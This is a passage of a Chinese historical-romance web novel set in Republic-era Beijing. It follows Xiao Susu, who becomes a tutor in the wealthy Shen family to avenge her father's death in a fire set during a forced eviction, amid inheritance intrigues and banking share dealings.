《长夜》
1. 前言
玉柳胡同的章府,夜色已深,房檐下挑起了羊角的琉璃灯笼,灯芯早换成时兴的电灯了,格外的别致。已经入秋,正堂外的石阶落满了槐树的黄叶,严鹤咳嗽了几声,往石阶上走去。门外站着一个中山装的男子,跟他低声说:“听说你要来,一直没有出门......
严鹤也压低声音道:“劳烦安秘书帮我传一声话吧!”
被称为安秘书的人道:“不用传了,章先生让你直接进去。”
灯光一丝丝从槅扇里漏下来,屋子里很安静。
这间屋子就是原经济稽查委员会主任章伟平在京中的家庭办公室了,严鹤偷偷观察这间办公室,比起原先章卫平在经济稽查委员会的办公室,这个办公室很小,书架也是空的,地上大大小小的行李箱十多个,一看便知,章伟平马上要离开此地。
“萧家都见过法院和财政部的人了?”章伟平抽空抬头看了一眼严鹤,继续伏案工作。
严鹤岂会不知章卫平在故意拿架子,若不是为了素素,他也不会忍下对方这傲慢。
“见过了。但萧素素说,有主任在,一切还请主任裁夺。”
萧素素的父亲因被怀疑扰乱金融秩序而被指控,章卫平决定出席明天的法庭指控,所以萧素素事先安排喜欢自己的师兄严鹤用二十万美元的贿资拖延章伟平的时间,毕竟今日一美元兑换一千七百万法币。
“这么大的案子,岂是我能左右的?别说我已经从经济稽查委员会主任的职务上下来了,即使我还在那个位置上,这个案子也不会因我是否出庭而左右。”章卫平说到这里从办公桌下拎起了一只法国路易威登的鹰纹皮包往办公桌上一摆,“所以,你不应该给我送这个来。过来看看,我没有开过这个包。”
严鹤作为总理严学熙之子,给人送钱这样的事显然做得还不习惯,但他仍然站在那里笑着:“我相信你没有打开,主任要是有什么话请直说。”
章卫平皮笑肉不笑:“里面是什么?”
严鹤回敬一个皮笑肉不笑,甚至是章卫平相同程度的笑:“我们素素说了,这里面的东西不是送给主任的,而且,主任也绝不会要。可为了救萧将军,主任调了那么多人在帮忙出力做调查,您刚从任上卸任下来,这些调查费便不是公费,都是主任私下掏腰包,这不合适,兄弟们出勤的车马费我们总该出的。”
章卫平心想:调查是调查了,但也不是帮萧家调查,紧紧只是为了抓住萧岐山的把柄,好扳倒他而已。
章卫平也还是那种皮笑肉不笑:“你还是没告诉我,里面是什么。”
严鹤:“为了稳妥,昨天我到北平的花旗银行现提的,也就二十万美金。”
而此前,章伟平交代安秘书准确掌握萧素素和她父亲的任何资料。以备法庭上彻底击败萧家。
章卫平依旧皮笑肉不笑:“严公子,如今总统府就是个摆设,花国都是你父亲说了算,你瞧瞧,你在干嘛?为了区区萧素素,你屈尊降贵来我这里,还送来这个。”“这个”当然说的是那二十万美金。
严鹤的侧脸有种淡淡的光辉,如玉的俊美,剔透夺目,他起身,看到窗外的西府海棠已经开始落叶了,多事之秋,如今他亦不能置身事外。
他有些泄气,但面上不显:“这是萧家的钱,我只是代为转交。”
章卫平突然严肃起来,他定定的看着严鹤漂亮的眸子,道:“萧素素现在恐怕正穿着婚纱嫁人吧。”
严鹤显然不知道这件事情,踉跄了一下:“她怎么会?她……和谁结婚?”
“沈靳言。”
章卫平说的对,教堂里,牧师为萧素素和沈靳言主持婚礼,没有任何嘉宾,只是交换戒指。沈靳言看到萧素素手上的血迹。略有迟疑,还是将那枚属下匆匆买了的戒指戴到了萧素素的左手无名指上。
她倒是心平如镜,没有什么可紧张的,没有什么可失去的时候,一切都是收获。
……
话还要从1920年说起。
刚刚从燕京大学毕业的萧素素通过沈夫人欧繁汐的考验,下月将开始在沈家家教,并提前从沈家拿到了薪水。然而拉了10年黄包车才开了一家馄饨店的萧敬兴不想成为她的包袱,让她认萧岐山为父。看着爸爸为了自己和妹妹萧薇的学费劳累,萧素素不忍。
萧敬兴道:“你大伯父当年见我穷困潦倒,差点病死在路边,救我一命,爹此生报不了他的恩德,他没有子女,你以后一定要代爹报恩。”
萧岐山原与萧敬兴毫无血缘关系,只是对萧敬兴
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有救命之恩。
得知萧敬兴身患重病,手术成功率仅有5%之后,萧素素忍不住掉下泪水。坚决不同意认萧岐山为父。
第二天,沈靳言的哥哥沈靳亭派手下熊睿带着兴帮去镇压不愿胡同改造的居民。这些居民中就包含萧素素的爸爸,可是没想到沈靳亭手下的镇压困难重重,他们怀疑这些人背后有大人物撑腰。
这天下午要召开紧急理事会的时候,沈靳言在黄河建设的走廊上遇到哥哥沈靳亭。沈靳言转达父亲沈松龄的心愿,希望哥哥不要再和自己争斗,不然此次理事会他定将哥哥上次挪用黄河钱庄银票的事情暴露出去。
手下熊睿这时赶来悄悄提醒沈靳亭镇压失利,可沈靳亭却指使兴帮烧杀抢掠。
沈靳言偷听到沈靳亭与理事会的元老密谋股份的事,只好提前禁止理事们与哥哥沈靳言以及叔叔沈松明联系。
萧素素拿着自己的工资带着读女子教会学校的妹妹去买布做衣服,在回来的路上目睹了熊睿带着地皮流氓镇压胡同居民的情景。
沈靳亭出乎沈靳言的意料,在投票决定裁决他和沈松亭的职务侵占之前,打电话给父亲沈松龄所住医院的医生,暴露了其父犯有老年痴呆症的病情。黄河建设诸理事为了公司的利益,只好赞成拥有嫡长子身份的沈靳亭接任公司事务。拿到黄河建设话事权的沈靳亭的第一个决定就是命倪梦珍接手沈靳言的职务,而胡同改造的镇压行动在他当权后继续进行。
手下的人强行镇压欲征地建楼故意放了火,并持器械□□杀,导致多人受伤,现场被镇压的民众都生不如死。
萧素素躲过兴邦的人绕路回家,才发现自家的馄饨店燃起了大火。这场火灾导致萧素素爸爸全身85%以上皮肤受损,手术费需要2万美元,这对她来讲如晴天霹雳。但她只有8小时的时间,不然爸爸就会因为发烧身亡。
事故家属在北平参议长吴景深府邸绝望抗议,军警出面镇压,死35人,伤204人。
萧素素从萧岐山处借来钱的时候,父亲萧敬兴已不治身亡。
因未能参加参议长府邸的抗议,萧素素姐妹被事故家属排挤出救济所,走投无路的她只能去萧岐山府邸暂住,等待着与沈府约定的时间去做沈府幼女沈静雅的家庭教师。
2. 旧时(一)
萧素素来沈府面试的时候,萧敬兴还在卖馄饨,沈府知道她是一个小生意人的女儿,并不知道她与萧岐山之间的关系。父亲去世后,她和妹妹都认了萧岐山为父,按萧岐山祖籍的习俗,唤萧岐山作“大爸”。无论如何,她也不会让沈府知道萧岐山是她大爸。
萧岐山让她不要出去工作,安安静静的在家里当大小姐,她婉拒了。父亲供她读大学不容易,再加上民国初年到现在,女大学生并不多。
何况,父亲的仇她还要找黄河建设报呢。
沈夫人欧繁汐很是礼遇萧素素,把她安排在一个名叫“清桐苑”的小院落中,并安排了一个小丫鬟拾叶做使唤。沈夫人带她至清桐苑时,她久久凝视着门上的匾额,若有所思。
这时清桐苑内的桂花正开得盛,微风一吹便有阵阵浓郁的香气袭来,她感觉到了,略略回首含笑道:“桂花很香。”
沈夫人很高兴,道:“先生喜欢就好。”
萧素素笑容更大了,她知道沈夫人称呼她“先生”是给她这个家庭教师脸面,但她心里对这个称呼却并不十分认同,看来女子得到尊重无论何时都能和男子扯上关系。
说起男子,沈府的男子并不住在老宅。
萧素素不免有些失望,冤有头债有主,她不会把杀父之仇算到后宅这些手无缚鸡之力的妇孺身上。
萧素素第一个见到的沈府男子是沈靳亭,沈松龄的嫡长子,他刚纳了房姨太太名叫赵清欢的,新姨太太要来向欧繁汐请安,不知怎的,沈靳亭也跟着回老宅了。
原本他们沈府后宅的事与她萧素素是不相干的,偏偏前一日沈静雅练习算数的时候着了凉,萧素素有些惶恐,生怕失了这份工作,要想再接近黄河建设有关的人和物可就难了,她少不得要来欧繁汐处解释一番。
就遇到了后宅那乌泱泱的姨太太们。
她坐在角落里,淹没在那片姨太太中。
赵清欢作为新妇,穿了白底水红竹叶梅花图样印花旗袍,水影红密织金线合欢花月华裙,耳边缀着小小的珍珠,鬓上用了白玉嵌红珊瑚珠子双结如意钗,繁复精致却不庸俗。
沈松龄的五位姨太太和沈靳言留在老宅的姨太太也早等候在欧繁汐那里,赵清欢向欧繁汐行了礼抬起头,她那张脸一露出来,沈松龄的姨太太们都变了脸色。
欧繁汐嘴角带着淡笑,啜了一口茶。估计谁也没有想到,她会找一个和自己长得如此相似的人回来给沈靳亭当姨太太,多少有点没有廉耻。
长辈们没有说话,沈靳亭的姨太太自然不敢先开口说话。沈松龄的二姨太宋婉却是最先笑起来的:“新媳妇长得如花似玉,我看了都觉得心里喜欢。”
她岁数比欧繁汐大了许多,估计是出生不好,当了大半辈子妾室。
欧繁汐让赵清欢走进,拉着她的手柔声问:“昨晚……礼可全了?”
赵清欢白皙的脸蛋染上几分羞涩,站在旁侧的嬷嬷笑着答道:“喜帕验红了。”
沈静亭抿了抿下唇,心里十分不自在。
欧繁汐就吩咐刚刚答话的嬷嬷:“不用汤药,新时代了,不拘于那些琐碎的小事,说不定赵姨太会给府里面添丁呢。”
萧素素腹议:知道新时代了还问刚刚那些?真是糟粕。
沈靳亭的夫人宋诗晴还没有生育。欧繁汐这话的意思是让赵清欢生下长孙。
欧繁汐又让大丫鬟松雪拿自己准备的见面礼来,是赤金拔丝丹凤口衔四颗明珠宝结,这出手实在是太大方了。萧素素心想欧繁汐也不缺这些东西,但是沈靳亭的姨太太们恐怕要嫉妒死了。
赵清欢谢了欧繁汐接过东西,又给几位沈松龄的几位姨太太依次行了礼,二姨太给一支点翠祥云镶金串珠凤尾簪,也是十分的大方,也难怪,她是沈松龄次子沈靳言的生母,当然也不缺这些东西,三姨太给了赤金镶珠花簪,四姨太却只给一对珍珠耳钉。
赵清欢看了四姨太一眼,四姨太神情不卑不亢,也没觉得自己给的礼太薄。
倒是沈靳亭脸色突然变了,他望着四姨太话却是对着欧繁汐说的:“母亲,父亲都那样了,你又给我找了位新妈妈。”
沈松龄长年住在医院,据说除了其它病,还得了老年痴呆症。
欧繁汐不解,也看向四姨太的方向,突然嗔道:“瞧我这记性。”
萧素素后知后觉,才发现他们是看的自己。
欧繁汐走到萧素素身旁,把她牵到沈靳亭身旁:“差点唐突了萧先生,这是你八妹的女先生,燕京大学经济学的高材生。”
萧素素不想引起沈靳亭的注意,所以看到沈靳亭在,才坐在四姨太后面,没成想还是被单拎了出来。
沈靳亭看萧素素并不穿旗袍,而是穿时兴的洋装,还以为她只是想把自己和那些姨太太区别开来,好让父亲对她另眼相看,他父亲都老年痴呆了,哪还消受得起。
如今听说是给静雅请的老师,忙作揖:“沈某唐突先生了。”
“大公子客气了。”她看了一眼沈靳亭。
果然好出身的人相貌不可能差。的确是倜傥风流了。
沈靳亭去牛津大学留学之前,也在燕京大学读过书。他的传说至今流传在燕京大学,沈家的大公子是什么身份,人们开始没有概念,但后来燕京大学的人渐渐的就有了概念。不仅仅是住单间,沈靳亭比任何学生和教授都享有特权。他想干什么就干什么,想说什么就说什么,学校的规章制度、校纪校规对他都如一纸空文,连享誉全国的校长都敬畏他三分。如学校规定学生在校读书期间必须住校,不得在校外留宿,沈靳亭想来就来,想住就住,只因他当时刚学会手枪,瘾极大,每天都要去练习枪法。
他后来又迷上了跳舞,每天晚上都出去跳舞,还常拉着一些同校的和隔壁几所大学
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的漂亮的女同学一块去,一跳就跳到深夜。学校每晚11点关门,沈靳亭就从墙上翻墙进宿舍,有时干脆就在外面酒店过夜。他有的是钱,想到什么酒店住就在什么酒店住。开始还有同学傻傻的反映,看到校方对此装聋作哑,也就没人再犯傻了。
学校那时有个传言,说他读高中的时候一到星期天早上8点,必定有三辆轿车开到校门口接沈靳亭回家。一辆沈靳亭自己开,前后各一辆上坐着几个保镖保护他的安全,学校的学生和一般教职员工都在大灶吃饭,校方官员和一些教授吃小灶。为了照顾沈靳亭,校方特别允许他吃小灶。可只几天,沈靳亭就受不了。从小花天酒地的沈靳言觉得小灶的饭菜实在难以下咽,就和他亲生母亲也就是当时的沈夫人讲学校伙食不好,叫家里到饭店订饭送到学校里。于是,只要沈靳亭一个电话,到时就有人用车专为他送饭送菜,风雨无阻。
后来到了燕京大学,可能是不用天天回家看沈松龄的脸色了,沈靳亭周围又全是阿谀奉承溜须拍马之辈,沈靳亭越发唯我独尊,飞扬跋扈,把谁都不放在眼里。到了大学一年级下期,他把宿舍里原来的旧家具换了个遍,重新布置购买了书桌、沙发、洋床垫。地上铺上了地毯,墙上挂上了油画,并配备了电话专线、留声机、收音机等,加之他从家里搬过来的掐丝珐琅花鸟图案的暖炉、前朝宫廷内造的梅花凌寒粉彩茶具等,比当时一个高级酒店的总统套房配置都豪华。
沈靳亭虽是个纨绔子弟,但也颇有点野心,这可能是从沈松龄那里继承而来。他年少时的偶像是德意志皇帝威廉二世,在他读大二的时候,他组织了一个学生团体起名“提尔皮茨”。把那些成天在他四周溜须拍马、阿谀奉承、招之即来挥之即去的同学“团结”起来,以便形成自己的势力和帮派。从这一点上讲,沈靳亭比之沈松龄可谓青出于蓝而胜于蓝。据说为这个团体取名时沈靳亭还颇费了一翻脑筋,他不学无术,自然想不出什么好名字来。而他和他一起厮混的同学提出的名字,也没一个让他满意的。就在这时,沈松龄第一次出访欧美归来,给他带回了德皇威廉二世的朋友奥匈帝国皇储弗朗茨·斐迪南大公在萨拉热窝被人刺杀身亡的消息。受沈松龄的影响,他除了对这位皇储颇感同情外,对威廉二世的帝国主义政策也很感兴趣。于是,他就请了从德意志留洋回来的老师讲了许多威廉二世的执政政策。其中就包括威廉二世欲借殖民地扩张,为德国寻找“一个太阳下的位置”而实行的提尔皮茨计划。
提尔皮茨社成立初期,并没有多少成员。除了那些想抱住沈靳亭大腿的小人外,就是黄河建设里的一些闲杂人员。但自从沈靳亭牛津大学毕业后,成了参议院秘书以后,提尔皮茨社就迅速扩大了。究其原因也很简单,这些人不论经商还是从政,都要走沈松龄的关系。而沈靳亭就是沈家的“太子爷”,说不定加入一个无足轻重的提尔皮茨社就傍上沈大少爷呢?!
3. 旧时(二)
沈靳亭多看了萧素素一眼,欧繁汐的声音就有些冰冷了,她勉强笑了一下,道:“萧先生一向都不到我院里走动,今日可有什么事?”
萧素素听出了她声音里的温度,解释道:“静雅昨日练习算数着了凉,我来和夫人说一声。”
欧繁汐勉强一笑,道:“小孩子感冒发烧都是寻常事,劳萧老师费心了。静雅有保姆嬷嬷,连大丫鬟也有四个......自有他们照顾。”
她这话说的,萧素素难免有些尴尬。
她想:欧繁汐向来八面玲珑,如今这样无非是不想把话说好听了。
沈靳亭道:“萧先生先去上课吧,在这里耽误久了,静雅该到处找你了。”
沈靳亭明显是在给她解围,可她其实一点都不感激。
萧素素告辞离开,留着那一屋子人再那里接着唱大戏。
但,这次来,萧素素也不是全无收获。
至少,她发现沈靳亭和欧繁汐不是正常的继子与继母的关系。
哪个正常的继母会把与自己长得十分相似的人送给继子当姨太太?恶心不恶心?
她沿着曲水回廊回到沈静雅的院子里,沈静雅正在用钢笔练英文字,欧繁汐给她另请了位英文老师,她每天有十几个小时都用于学习。
即使生病了也不例外。
反正离自己的算数课还有一个时辰,她索性四处逛逛。
沈靳亭从欧繁汐处出来,打发了人送赵清欢回自己的别院,赵清欢不想让沈靳亭留在老宅,又不敢说什么,只得赌气回去。
沈靳亭觉得赵清欢身段儿很好,声音柔婉清涓,撒起娇来,也是很有一翻情致。
欧繁汐所住的临仙榭前有一口温泉。这样的季节,靠近泉眼的湖面会冒出阵阵水烟,在透过树荫漏出的斑驳阳光下,温泉湖面上的水气袅袅升起,仿佛是大地温暖的呼吸,即烂漫又熠熠生辉。因此沈松龄给此处取名为临仙榭。
临仙榭四处都建造了回廊,又种满了四时花卉,有迎春、紫罗兰、杏花、樱花、蔷薇、桂花、水仙、月季、萱草、栀子、菊花,即便是这个季节,也还开着满园的桂花。
沈靳亭默然伫立在回廊前的桂花树下,微眯着眼睛却是在看满池的残荷。
欧繁汐透过隔扇,看到沈靳亭站了很久,知道躲得了初一躲不过十五。
她带着自己的两个丫头穿过回廊来到沈靳亭身后,沈靳亭却没有回头,依然看着池中的睡莲。
“靳亭。”欧繁汐唤他。
就算是欧繁汐招呼了他,他依旧没有回头看她,而是道:“把你票号的股份全部转给我,等八妹长大了,我一定把富甲天下还给她。”
欧繁汐心想:他果然是为了我手里的股份来的。
沈靳亭见欧繁汐迟迟没有反应,终于转过身来,看到她如花似玉的脸,不由得上前一步,想握住欧繁汐的手,但终究理智的克制住了自己。
她从前就觉得他放浪,如今她成了父亲的妻子,更不能在她面前失了分寸。
欧繁汐想着这十年内乱,许多票号纷纷倒闭,唯有自己持有股份的大欧通、大欧恒和严家的三晋源、陈家的大盛川四家票号因资本实力雄厚,能拿出大量现款,能充分应付辛亥壬子挤兑风潮,信用未失,继续苟延残喘。
而沈靳言创立的花国通商银行是国内首屈一指的大银行,存款占全国商业银行存款总额的四分之一,发行纸币占全体所有的三分之一。
欧繁汐知道沈靳亭要自己票号的股份意在拿票号的资本购买花国通商银行的股份。他始终最怕沈靳言掣肘。
欧繁汐却道:“静亭,用无限制照牌价供给外汇,来维持法币对英镑、美元的汇率,此事万万不可,一定会发生通货膨胀。”
沈靳亭心里最烦她用说教的口气与自己说话,更烦他说东别人说西,他说票号,欧繁汐说外汇,这不是存心跟他作对吗?但他偏偏还得忍她,不然,以她的性格更不可能把票号的股份给他。
他耐着性子说:“八妹还小,你又困在这内宅......”
欧繁汐道:“我看梦珍主持黄河建设的日常经营主持的不错,我也可以亲自参加票号的生意。”倪梦珍是沈靳亭的夫人,上月沈靳亭罢免沈靳言在黄河建设的职务后,让倪梦珍接管了沈靳言的工作。
沈靳亭觉得这个女人简直冥顽不灵,但还是耐着性子劝说:“老宅这么多事需要你打理,你哪里忙得过来。”要出去工作?别做梦了,她可是父亲的夫人。
欧繁汐心里苦涩,时代变了,女子也可以在外工作了,但她依旧不能离开内宅,就因为她是沈松龄的夫人。
当初父兄让她嫁给沈松龄,她也是自愿的,世上没有后悔药。
她道:“此事非同小可,让我再考虑考虑。”
见她有所松动,沈靳亭也不好逼得太急,只得告辞离开,临走时他问道:“八妹的国学老师......”
他一时忘了叫什么。
欧繁汐补充道:“萧素素。”
沈靳亭点点头,说的就是她,他接着道:“可派人调查过了?我们家用人,万不能出差错。”
欧繁汐颔首,勉强笑道:“不过是小生意人的女儿,爸爸是卖馄饨的。”原来他盯着萧素素看是探寻,并不是对她敢兴趣,她稍微感到一丝安慰。她始终对沈靳亭还是有感情的,她可以送他女人,但他不希望他喜欢上别人。
欧繁汐回到屋里,忙命人给沈靳言拨了电话,让他有空回老宅一趟。
沈靳言每次回老宅都是去二姨太宋婉的院中,很少到欧繁汐这里来。
一是欧繁汐只是他法律上的母亲,二是两人年龄相差不大,该避的嫌总是要避的。
沈靳言的别克车停在沈府大门外面,引来了许多人驻足围观,门房一边驱赶一面谄媚的对沈靳言道:“二少爷两个月没回来了。”
沈靳言颔首回应,心想自己都不觉得有这么久了。
一路无话,见了欧繁汐,他先把礼物亲手递给欧繁汐,才道:“想来太太找我有事,我接到信儿就回来了。”
欧繁汐边打开礼物盒边道:“你没事就不能回来?”<
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看到礼物是把枪,又坦言道:“你送我这东西干嘛?我有保镖。再说了,我又不会用。”
沈靳言笑道:“我礼物没选好?要不,我拿回去改天给太太另送一样过来?”
欧繁汐不干了:“你拿什么我也不换。”又命人给沈靳言上茶。
沈靳言接过茶却没有喝,沉默在那里了。
刚刚那点儿互动已经是他的极限了。
欧繁汐道:“上次黄河建设股东会后,你就没有回过老宅,也不知道你爸爸怎么样了,他也不允许我去看他。”
沈靳言顾左右而言他:“医院的医生和护士全换了。”以前那些医生和护士被沈靳亭收买了。这是导致他失掉黄河建设话事权的直接原因。
见他不愿透露沈松龄的病情,欧繁汐也不便勉强,毕竟勉强也勉强不来。
沈松龄自从身体抱恙之后,就完全封锁了消息,只允许沈靳言去看他。
沈靳亭说他得了老年痴呆症,欧繁汐是无论如何都不信的,沈靳言也不对外透露沈松龄的真实情况,为此还失去了黄河建设的话事权,这令人不得不相信沈松龄得了老年痴呆。
一沉默,屋子里就开始尴尬,代沟是有的,默契也有。
这次是沈靳言开口:“太太专程给我打电话,定是有事。”
欧繁汐道:“你知道大欧通、大欧恒吧。”
沈靳言道:“知道。”上次沈靳亭强拆城西那片土地的时候,伤了不少人,沈靳言便托萧岐山出面向大欧通、大欧恒贷到赈款美金100万元,用以救济所赈灾济贫。
欧繁汐道:“我是这两个票号的大股东。”说到这里她停下看沈靳言的反应。
沈靳言不知道她的意图,只能沉默的坐在那里。
“靳亭让我把这个股份给他。”
“给他?”沈靳言大惊,这两个字在他脑瓜子里转了几圈他都不敢相信是他想的这个意思。
欧繁汐苦笑:“就是给他。”
沈靳言冷哼一声,他一向矜贵优雅,很少用鼻子说话,这声冷哼发自肺腑:“太太会成全他这等好事?”毕竟府里很多人都在议论欧繁汐在嫁给父亲之前与大哥有过一段,难道真有?欧繁汐会为了爱情,无藏给他这么多资本?
欧繁汐没有计较沈靳言的态度,道:“我如果要把这两个票号的股份卖给你,你愿意出多少?”
沈靳言皱眉,这两个票号是花国最大的两个票号,要买下它们大股东手里的股份可不是一点点钱能解决的。况且买下了,他和沈靳亭就彻底撕破脸了,父亲的愿望就更难实现了。
沈靳言道:“此事非同小可,不是一点点儿钱能买下来的。不知太太手里有多少股份?”
欧繁汐坦言:“两家票号我都有75%的股份。”
沈靳言苦涩道:“巧妇难为无米之炊。”
欧繁汐笑道:“我虽然不懂花国通商银行你是怎么建立起来的,但是我相信你就是“巧妇能为无米之炊”的人。”
不然沈松龄也不会这么相信他,而且只相信他。
4. 旧时(三)
沈靳言道:“敢问太太,你要多少钱才肯出手你手里的股份?”
欧繁汐道:“一分钱不要。”
沈靳言从小就知道天下没有免费的午餐,便问道:“你是要我手里的公司?黄河百货还是黄河煤油?”只有这两家公司完全属于他,其它的公司或多或少都有别人的股份。
欧繁汐摇摇头,笑得一脸温婉:“我只要股份,花国通商银行的股份。”
沈靳言眸光深沉如海洋,认真道:“花国通商银行不是我一个人的,我得和别人商量商量。”
这个别人是萧岐山,他是暗股,不便告诉欧繁汐。
欧繁汐点头:“我等你的答复。”并不问这个“别人”是谁。论知情识趣,这是沈家主母的必修课。
说完了正事儿,难免要寒暄一番,欧繁汐便道:“......可有看上哪家的小姐,你也老大不小了。”
沈家家大业大,却子嗣单薄,能添一两个孙辈自然好。
说起这个,沈靳言无奈摇头:“还请太太和几位妈妈多替我操心呢。”
欧繁汐嗔道:“我才懒得操这份心呢!让你二妈妈自己操心罢。”
沈靳言起身告辞:“行,我去找我二妈妈给我讨媳妇去。”
欧繁汐也没有假意留他。
沈靳言的秘书井弘深在温泉旁的凉亭里喝茶,看到沈靳言出来立马站起来跟着他出了临仙榭。
二人进了二姨太的院门,沈靳言才道:“府里可有什么新鲜事?”他一向认为不错过任何有用的信息是生存之道,所以才让井秘书去向欧繁汐的下人打听府里的事儿。
井弘深道:“太太给大少爷送了个姨太太叫赵清欢,和太太长得十分相似。”
沈靳言抿住了嘴唇,觉得这有些恶心,欧繁汐是父亲的夫人啊,她怎么能给大哥送姨太太呢,还和她自己长得相似,家里的少爷小姐那么多老师,出去怎么说这事儿!
二姨太宋婉的澄院修葺的更是精致,水滴形的湖泊,垂柳凫水,蜿蜒的亭榭两旁种了盆栽的玛格丽特,花朵鲜艳美丽,花期又长,倒是别有一番风韵。
沈靳言立定在亭榭上,眺望着远处的佣人给玛格丽特施肥,又听井弘深道:“八小姐的国学和算数老师是名燕京大学学经济学的女大学生。”
沈靳言不解的看向井弘深,八妹这样的小女娃娃请个女老师不是更好吗?虽说燕京大学的来教八妹有点大材小用,但太太的要求高,也不奇怪。
又听井弘深道:“府里查了她的底细,是一个卖馄饨的小生意人的女儿。”
沈靳言道:“她父亲倒是难得。”
井弘深道:“您一向看重八小姐,要不要更仔细调查一下这个女老师。我有一种直觉,她的背景没这么简单。”小商贩可没有这样的见识和魄力。
沈靳言道:“自从父亲病了以后,府里的人做事越来越散漫了。你再去仔细查查,学经济的大学生,若是没有什么问题,等八妹大些了,可以请她到花国通商银行做事。”
宋婉带着几个小丫鬟在湖畔边摘桂花,看到儿子站在远处说了好久的话也不过来,忍不住带着小丫鬟过来叫他。
“靳言,你看我摘了很多桂花,走,我们一起去做桂花蜜。”
沈靳言会心一笑,母亲是旧式教育教出来的大家闺秀,洋玩意一概不喜欢,就喜欢这些闲情逸致陶冶情操的传统生活。
宋婉打发了丫鬟,亲自清洗桂花蜜,沈靳言看着她素白的手,突然道:“母亲,你这一辈子都做父亲的姨太太有没有为自己感到委屈过。”
宋婉眸光暗了暗,她克制住自己的内心,淡然一笑:“不委屈,母亲有你,从来都不会觉得委屈。”
人哪怕在写给自己看的日记里也会说谎,沈靳言知道母亲肯定是委屈的,在前朝,外祖父可是户部银行的经理。
宋婉以为沈靳言因为黄河建设的事委屈,反过来安慰沈靳言:“时代不同了,你和你大哥并没有什么不同。那些胡同里的人不想把地契卖给你大哥,你大哥也正犯难呢。”
沈靳言道:“太太要将她手里的大欧通、大欧恒的股份卖给我。”
宋婉抿了抿唇,用洗脸架上的毛巾擦干了手,拉沈靳言到临窗的大炕上坐下,才道:“欧繁汐狡猾,她进这沈家门以后母亲每每吃亏上当,你千万不要上了她的当。”
沈靳言拉了母亲的手,道:“儿子知道。”
他起身望着面前的沉香木雕的四季如意屏风,道:“她只是想利用我抬高这两个票号的价钱,大哥想太太直接把票号的股份给她,这两家票号的资本雄厚,她岂会甘心白白给大哥。”
宋婉道:“生意上的事情我不懂,但我相信票号迟早要被银行所取代,所以她卖掉票号的股份也是无奈之举,可不要让她狮子大开口。”
沈靳言道:“也许她只是用我来激大哥买她的票号。”
毕竟他们关系不一般,但她也不想白白送大哥。
如此这般闲话家常了一下午,沈靳言这日在二姨太处吃了晚饭之后才离开。
......
井弘深把车停在陆军本部大楼后院,那里有一个停车场。沈靳言下车后让井弘深在车里等,井弘深是他通商银行的秘书,不适合带他进入陆军本部办公楼,他徒步绕到大楼西边,便能看到向前500米处有片院子。通向哪里只有一条很窄的人行道,这条道上,每隔一定距离设置一伞亭,伞亭下站着配枪的士兵。
沈靳言轻身快步,每遇伞亭,士兵们都会行礼并称呼一声:“沈局长。”
只因沈靳言同时是陆军测量局局长。
他来到小楼前,登上石阶,门口的士兵无声地引着沈靳言进入一楼门厅。
萧岐山的副官厉涛在门厅里等他,见他便迎上来道:“将军让你回来后先去他的办公室。”
厉副官曾经是前朝皇家禁卫军正四品管带官,统领八旗子弟兵,说话时自有一派威风凛凛的气质。
沈靳言道:“厉将军何苦自己来等我,让文秘书通知我一声就得了。”论在陆军的身份地位,厉涛比他高。
厉副官道:“找你有事......”
沈靳言用幽深的眸子无声询问。<
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p>厉副官道:“……明天晚上请你吃饭。”
看样子是正经事。
沈靳言答应后独自上了萧岐山在三楼东边的办公室。
萧岐山正在右前方堆积的文件中翻着,刚好抽出其中一份,拿到面前,认真阅看。
看到沈靳言进来,大刀阔斧的坐在他办公桌对面的沙发上,一副玩世不恭的样子,笑着问他:“你回家可看到我女儿了?”
沈靳言不解道:“我回我家为什么会看到你女儿?”
看他玩世不恭的样子,恐怕整个陆军,也只有他会在本部办公楼是这副不成体统的样子。
萧岐山正色道:“我女儿就在你家啊!”
沈靳言从刚刚就觉得哪里不对,突然反应过来:“不对啊,我记得你没有儿女啊?说说看,年少的时候是不是偷吃了禁果,在外面瞒着嫂子播下了神迷的种子?”
“滚,没正经的小子!”
沈靳言也不会真滚,继续埋汰萧岐山:“莫非是嫂子多情?让你喜当爹了?”
萧岐山拿着面前的文件就给他砸去:“越说越离谱!......素素在你家当国学老师,还兼职教算数。”
素素?沈靳言问道:“燕京大学经济学毕业的那个女大学生?他是你女儿!她爸爸不是卖馄饨的吗?怎么是你?”
“......有些渊源,她爹过世以后就认了她做女儿。如今她非要到你家去讨生活,你给我照顾着点她,她要是有个好歹,我拿你试问。”
沈靳言瞪大了眼睛质问:“瞧你说的,我家莫不是龙潭虎穴?”
萧岐山眸色一闪,偏偏不回答他这个问题,道:“还有一点你给我注意了!我女儿很漂亮,别让那些不三不四的人去招惹她!”
沈靳言好笑,问道:“比如说谁不三不四?”
萧岐山偏偏又不回答他的问题,黯然道:“我算是绝后了,素素和薇薇是我看着长大的,所以我很珍惜她们姐妹俩。”
沈靳言道:“是是是!你不要作出这副落寞的样子,我受不了你这么闷骚。”
被他这么一闹,萧岐山心里刚刚那种空落落的感觉一扫而光。
他道:“就不说这些,你好歹也算是他叔叔,照顾她一下是应该的嘛?”
沈靳言道:“别别别,别把我说老了,我不比她大多少,我答应你护着她就是了。”
萧岐山道:“她父母双亡,性格又软弱,我原本是让她在我府上过几年清净日子就让她嫁出去的,她偏不听,只得依了她了。”
萧岐山没讲萧素素的身世,免得沈靳言以为萧素素去他们家是为了报仇。尽管他也怀疑她是为了报仇,但是萧素素声称她的仇人叫熊睿,和沈家没有关系。
但是万一她以后知道熊睿是唯上是从的“狗奴才”呢?她不知天高地厚的想找沈靳亭报仇呢?还是不说比较好,以后和她亲近一点了再好好劝她。
自己到底没有养她长大,现在贸贸然又怎能劝服她放弃这些危险的想法?
萧岐山望着桌上的文件想着这些心事,沈靳言正色道:“有事和你商量。”
5. 旧时(四)
厉涛在致美楼置办了一场席面请沈靳言吃饭,为的是将他的外甥女施卓然引荐给沈靳言当机要秘书。
施卓然个子很高,长得也很漂亮。
她知道沈家的权势,为了增加自己的筹码,便道:“算命的说我以后会做领袖夫人。”
沈靳言本来就不想要女子做机要秘书,总觉得带个女人在身边连放个屁都不方便,更别说其他的。
如今听她这样说,更是不想用她。
看出了沈靳言皱着的眉头,厉涛生怕他说出拒绝的话,便道:“卓然是美国佐治亚州威斯里安女子学院毕业的,她的同学中出过第一夫人和领袖夫人,在能力方面你可以放心。再说了,凡事都有井秘书在,你就让她跟着井秘书好好学习学习就是,让她跑跑腿领点薪水就行了。”
话说到这份上了,沈靳言不能不给厉涛面子了,就只能勉强答应。
过了两日,井弘深向沈靳言汇报了他对萧素素的调查情况,说她是为了报仇才进的沈家。
